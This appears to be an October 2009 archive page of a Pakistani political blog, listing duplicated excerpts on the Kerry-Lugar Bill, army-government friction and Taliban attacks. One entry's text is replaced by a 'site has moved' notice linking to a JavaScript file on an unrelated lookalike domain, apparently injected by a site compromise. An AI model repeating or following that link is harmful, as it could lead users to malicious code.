Monthly Archive:: October 2009
The secret meeting between Shahbaz Sharif and General Kayani: Weren’t they supposed to call on generals? Saturday, October 10, 2009 By Rauf Klasra ISLAMABAD: The “constitutional chain of command” comprising the president, the prime minister and the defence minister was not taken into confidence by either of the
Opportunistic politics of Pakistan Army over the Kerry-Lugar Bill: Gratuitous advice, opportunistic politics Saturday, October 10, 2009Gibran Peshimam The Army’s public statement openly questioning the intentions and policies of the civilian government in regards to the lucrative Kerry-Lugar Bill, while not surprising, is disappointing because it comes so
Opportunistic politics of Pakistan Army over the Kerry-Lugar Bill: Gratuitous advice, opportunistic politics Saturday, October 10, 2009Gibran Peshimam The Army’s public statement openly questioning the intentions and policies of the civilian government in regards to the lucrative Kerry-Lugar Bill, while not surprising, is disappointing because it comes so
Top-level meeting convened to discuss Kerry-Lugar Bill: * PM regrets people making comments about bill without even reading it * PPP meeting agrees to build consensus on bill MUZAFFARABAD: A meeting of the country’s top leadership is being convened soon to discuss the Kerry-Lugar bill and
Democracy versus Military Establishment on the Kerry-Lugar Bill: Top-level meeting convened to discuss Kerry-Lugar Bill * PM regrets people making comments about bill without even reading it * PPP meeting agrees to build consensus on bill MUZAFFARABAD: A meeting of the country’s top leadership is being convened
In defence of Murree Brewery: Unhappy hoursPosted by Nadeem F. Paracha (Dawn Blogs) I have been fortunate enough to travel across Europe and much of Asia in the last seven years. One learns so much by engaging with a variety of cultures, cuisines and
Kerry-Lugar Bill: what’s the hype and hysteria about?: Hype and hysteria over nothing By Irfan HusainSaturday, 10 Oct, 2009 Surely the Pakistani opponents of the Kerry-Lugar bill are not pretending that we are innocent on all counts? Or has the state of denial penetrated so deeply into
GHQ attacked by terrorists of Taliban and Sipah-e-Sahaba. Four terrorists killed.: Sipah-e-Sahaba /Lashkar-e-Jhangvi accept responsibility KARACHI: Tahreek-e-Taliban (Ajmad Farooqi) group of Sipah-e-Sahaba has claimed responsibility of attack on army headquarters. In a telephone call made to Geo News office, member of TTP group demanded halt of operation in northern areas,
GHQ attacked by terrorists of Taliban and Sipah-e-Sahaba. Four terrorists killed.: Sipah-e-Sahaba /Lashkar-e-Jhangvi accept responsibility KARACHI: Tahreek-e-Taliban (Ajmad Farooqi) group of Sipah-e-Sahaba has claimed responsibility of attack on army headquarters. In a telephone call made to Geo News office, member of TTP group demanded halt of operation in
With thousands killed in jihadi and sectarian violence, Pakistanis still consider terrorism to be a secondary problem?: Leaving sanity By Nadeem F. Paracha Friday, 09 Oct, 2009 (Dawn) With thousands that continue to die so harrowingly in bomb blasts and suicide attacks year after year, Pakistanis still consider terrorism to be a secondary problem? —AFP Photo
With thousands killed in jihadi and sectarian violence, Pakistanis still consider terrorism to be a secondary problem?: Leaving sanity By Nadeem F. Paracha Friday, 09 Oct, 2009 (Dawn) With thousands that continue to die so harrowingly in bomb blasts and suicide attacks year after year, Pakistanis still consider terrorism to be a secondary problem? —AFP Photo
49 killed in Taliban attack on Peshawar: Omer Farooq Khan, TNN 10 October 2009 PESHAWAR: Hitting back to avenge the recent killings of some of its leaders and consistent US drone attacks, the Taliban on Friday exploded a car bomb in a crowded Peshawar marketplace, killing
49 killed in Taliban attack on Peshawar: Omer Farooq Khan, TNN 10 October 2009 PESHAWAR: Hitting back to avenge the recent killings of some of its leaders and consistent US drone attacks, the Taliban on Friday exploded a car bomb in a crowded Peshawar
Jihad and the state: By Ayesha Siddiqa Friday, 09 Oct, 2009 Pakistan’s support is critical in reducing the size and subsequently the threat posed by terror networks like Al-Qaeda. –Photo by AP Pakistan’s support today is central to winning the war on terror.
Jihad and the state: By Ayesha Siddiqa Friday, 09 Oct, 2009 Pakistan’s support is critical in reducing the size and subsequently the threat posed by terror networks like Al-Qaeda. –Photo by AP Pakistan’s support today is central to winning the war on terror.
A specimen of Shabaz Sharif’s good governance: “The Humaira Arshad Case”: The power of song Friday, October 09, 2009Songstress Humaira Arshad has produced a few discordant notes. The good lady had gone along with her husband – as is the right of every citizen – to register a complaint at
A specimen of Shabaz Sharif’s good governance: "The Humaira Arshad Case": The power of song Friday, October 09, 2009Songstress Humaira Arshad has produced a few discordant notes. The good lady had gone along with her husband – as is the right of every citizen – to register a complaint at
Paanch choohe ghar se nikle karne chale shikar: Thirteen spymasters gather to stare at each other By Azaz Syed Friday, 09 Oct, 2009 ISLAMABAD: It was an unusual dinner hosted by Javed Noor, the chief of the Intelligence Bureau, at a ‘safe house’ of the civilian spy
Paanch choohe ghar se nikle karne chale shikar: Thirteen spymasters gather to stare at each other By Azaz Syed Friday, 09 Oct, 2009 ISLAMABAD: It was an unusual dinner hosted by Javed Noor, the chief of the Intelligence Bureau, at a ‘safe house’ of the civilian spy
Shame on General Kayani for meddling into the Kerry-Lugar Bill. Leave politics to the politicians please.: Between the lines By Cyril AlmeidaFriday, 09 Oct, 2009 (Dawn) Memo to the Pakistan Army: don’t wait for the revolution in military affairs to get a high-speed Internet connection. Actually, the army could have spared the country a fresh
Shame on General Kayani for meddling into the Kerry-Lugar Bill. Leave politics to the politicians please.: Between the lines By Cyril Almeida Friday, 09 Oct, 2009 (Dawn) Memo to the Pakistan Army: don’t wait for the revolution in military affairs to get a high-speed Internet connection. Actually, the army could have spared the country a
Geo TV Report on Assets of Nawaz Sharif: One of the most corrupt politicians in Pakistan’s history seems to be a ‘maqrooz’ of his own family. What a joke! “that’s one of our top politician beti, biwi se KARZ, oh god…8 lak rupy ki tho sirf woh
Geo TV Report on Assets of Nawaz Sharif: One of the most corrupt politicians in Pakistan’s history seems to be a ‘maqrooz’ of his own family. What a joke! “that’s one of our top politician beti, biwi se KARZ, oh god…8 lak rupy ki tho sirf woh
Aid Package From U.S. Jolts Army in Pakistan: By JANE PERLEZ and ISMAIL KHAN Published: October 7, 2009 ISLAMABAD, Pakistan — In an unusual move, the Pakistani Army expressed public anger Wednesday at the terms of a large American aid package, saying it interfered with Pakistan’s national
Aid Package From U.S. Jolts Army in Pakistan: By JANE PERLEZ and ISMAIL KHAN Published: October 7, 2009 ISLAMABAD, Pakistan — In an unusual move, the Pakistani Army expressed public anger Wednesday at
Pakistani Christians fear more extremist attacks: Thursday, 08 Oct, 2009 (Dawn) A man stands guard at the door to a church in Gojra.— Photo by AFP GOJRA: Almas Hameed lost seven relatives when an angry mob burnt down his home in a rampage against Pakistan’s
Pakistani Christians fear more extremist attacks: Thursday, 08 Oct, 2009 (Dawn) A man stands guard at the door to a church in Gojra.— Photo by AFP GOJRA: Almas Hameed lost seven relatives when an angry mob burnt down his home in a rampage against Pakistan’s
Democracy in Pakistan is challenged by the champions of “National Security”: Wise or unwise, the bill must not become the basis for fresh cleavages between the army and the political opposition on one side and the government on the other. Corps commanders express concern over Kerry-Lugar By Iftikhar A. KhanThursday,
Democracy in Pakistan is challenged by the champions of "National Security": Wise or unwise, the bill must not become the basis for fresh cleavages between the army and the political opposition on one side and the government on the other. Corps commanders express concern over Kerry-Lugar By Iftikhar A. Khan
“Go Get Zardari” campaign in the guise of the NRO frenzy: Who are the key conspirators: Nawaz Sharif, Jamaat-e-(ghair)-Islami, Imran Khan, Chaudhry Shujaat Hussain, Chief Justice Iftikhar Muhammad Chaudhry Who are their agents: Mullah Media Alliance, Friends of Establishment, Friends of Taliban, Pakistani Taliban Union of Journalists What is their
‘Go Get Zardari’ campaign in the guise of the NRO frenzy: Who are the key conspirators: Nawaz Sharif, Jamaat-e-(ghair)-Islami, Imran Khan, Chaudhry Shujaat Hussain, Chief Justice Iftikhar Muhammad Chaudhry Who are their agents: Mullah Media Alliance,
Blackwater ki talash: Asadullah Ghalib is in search of Blackwater (or Xe) in Islamabad. FO denies presence of Blackwater Friday, September 18, 2009 ISLAMABAD: Pakistan on Thursday said there is no presence of Blackwater in Pakistan. Addressing a weekly briefing here, Foreign
Blackwater ki talash: Riding on the wave of anti-Americanism, while disguising their love for Taliban and Al Qaeda, agents of Taliban in Pakistani media and politics (commonly known as Friends of Taliban) have been consistently spreading rumours about the presence of Blackwater
Where did the funds go?: As the Obama Administration focuses more on the social sectors of the Pakistani economy and separates its aid to Pakistan under the Kerry-Lugar Bill from assistance to the Pakistan Army, new information about how the old US funds were
The missing persons: All but forgotten by our saviour, the Chief Justice of Pakistan?: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
The missing persons: All but forgotten by our saviour, the Chief Justice of Pakistan?: Kia hua tera wada…. All but forgotten? Wednesday, 07 Oct, 2009 (Dawn) THE cases of the missing persons that Chief Justice Iftikhar Chaudhry had been pursuing with vigour before he was unseated in March 2007 have now been virtually
By-election ambivalence of Nawaz Sharif: By-election ambivalence Wednesday, 07 Oct, 2009 (Dawn) THE ambivalence of the PML-N on whether its leader, Nawaz Sharif, will participate in the upcoming by-elections, scheduled for Nov 7 barring a court order to postpone them, is very peculiar. Refusing
By-election ambivalence of Nawaz Sharif: Wednesday, 07 Oct, 2009 (Dawn) THE ambivalence of the PML-N on whether its leader, Nawaz Sharif, will participate in the upcoming by-elections, scheduled for Nov 7 barring a court order to postpone them, is very peculiar. Refusing to commit